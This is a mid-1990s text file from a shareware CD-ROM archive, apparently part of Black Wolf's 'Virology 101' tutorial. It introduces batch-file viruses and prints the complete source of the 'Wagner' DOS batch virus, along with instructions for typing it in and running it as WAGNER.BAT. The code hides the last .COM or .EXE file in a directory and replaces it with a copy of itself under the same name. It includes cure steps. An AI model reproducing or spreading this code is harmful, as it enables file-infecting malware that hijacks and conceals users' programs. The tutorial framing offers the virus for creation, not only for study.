home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / BATCHCOL.ZIP / TUTORIAL.ZIP / BATCHVIR.101 next >
Encoding:
Text File  |  1995-08-21  |  2.6 KB  |  53 lines

  1.      Batch File viruses are becoming increasingly common, because of
  2.  
  3. two main reasons: 1) They are incredibly simple to write and require
  4.  
  5. no real programming experience, and 2) There are a growing number of
  6.  
  7. programs that will convert .BAT files into .COM and/or .EXE files.
  8.  
  9. This allows the batch file to pose as an executable and prevents it
  10.  
  11. from being typed. The following virus, however, works in BAT format.
  12.  
  13. It searches the directory for .COM files and .EXE files, finding the
  14.  
  15. last one in the directory.  It then renames it to its name with a V
  16.  
  17. at the beginning, hides it, and puts a batch file with the same name
  18.  
  19. into the directory that contains the virus.  The commands used can
  20.  
  21. be found in an MS-DOS User's Manual.  To cure it, read the
  22.  
  23. instructions within the virus itself simply by typing one of the
  24.  
  25. infected .BAT files.  This, despite the fact that it is not an 
  26.  
  27. 'executable' program, is a virus and, like all others, can cause
  28.  
  29. damage if improperly handled.  It will not go out of the directory,
  30.  
  31. unless it is run from another directory. As with anything that is
  32.  
  33. potentially dangerous, just be careful and use common sense.  And
  34.  
  35. if you do not understand it, DO NOT PRESS YOUR LUCK BY PLAYING WITH
  36.  
  37. IT!  Study the code and an MS-DOS manual until you do understand
  38.  
  39. it.  I am not including an in-depth study of this virus due to its
  40.  
  41. simplicity.  To create a working version of this virus, type the
  42.  
  43. code in between the dotted lines into a program such as EDIT.COM
  44.  
  45. that comes with DOS, and save it as WAGNER.BAT. Put it in an
  46.  
  47. isolated directory, and then you can test it.  Again, be careful,
  48.  
  49. for it is YOUR responsibility for anything you do with it.
  50.  
  51.  
  52.                         The Wagner Virus
  53.  
  54.  
  55. --------------------------------Code-------------------------------
  56.  
  57. @echo off
  58.  
  59. ctty nul
  60.  
  61. rem  _______________________________________________________________
  62.  
  63. rem :Wagner Virus, as presented in Virology 101 (c) 1993 Black Wolf:
  64.  
  65. rem :This virus can be cured simply by typing "attrib -h -r *.*" in:
  66.  
  67. rem :infected directories and deleting BAT files that are identical:
  68.  
  69. rem :to this code, then rename the files having a "V" at the start :
  70.  
  71. rem :to their original names.   NOTE: Does not infect COMMAND.COM. :
  72.  
  73. rem :______________________________________________________________:
  74.  
  75. for %%f in (*.exe *.com) do set A=%%f
  76.  
  77. if %A%==COMMAND.COM set A=
  78.  
  79. rename %A% V%A%
  80.  
  81. if not exist V%A% goto end
  82.  
  83. attrib +h V%A%
  84.  
  85. copy %0.bat %A%
  86.  
  87. attrib +r %A%
  88.  
  89. ren %A% *.bat
  90.  
  91. set A=
  92.  
  93. :end
  94.  
  95. ctty con
  96.  
  97. @if exist V%0.com V%0.com %1 %2 %3
  98.  
  99. @if exist V%0.exe V%0.exe %1 %2 %3
  100.  
  101. ----------------------------End of Code----------------------------
  102.  
  103.